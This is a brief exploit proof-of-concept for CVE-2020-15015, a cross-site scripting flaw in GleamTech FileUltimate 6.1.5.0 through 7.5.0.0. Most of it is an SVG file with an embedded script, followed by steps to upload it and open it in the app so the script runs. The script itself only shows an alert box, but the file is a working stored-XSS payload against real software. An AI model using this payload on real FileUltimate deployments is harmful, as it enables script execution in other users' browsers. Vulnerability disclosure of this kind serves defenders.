CVE-2020-15015 GleamTech FileUltimate 6.1.5.0 - 7.5.0.0 XSS in SVG payload

xss.svg.txt

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
  <script type="text/javascript">
    alert("XSS");
  </script>
</svg>

Save the above code as a SVG, upload to FileUltimate and open it in the app to execute the payload.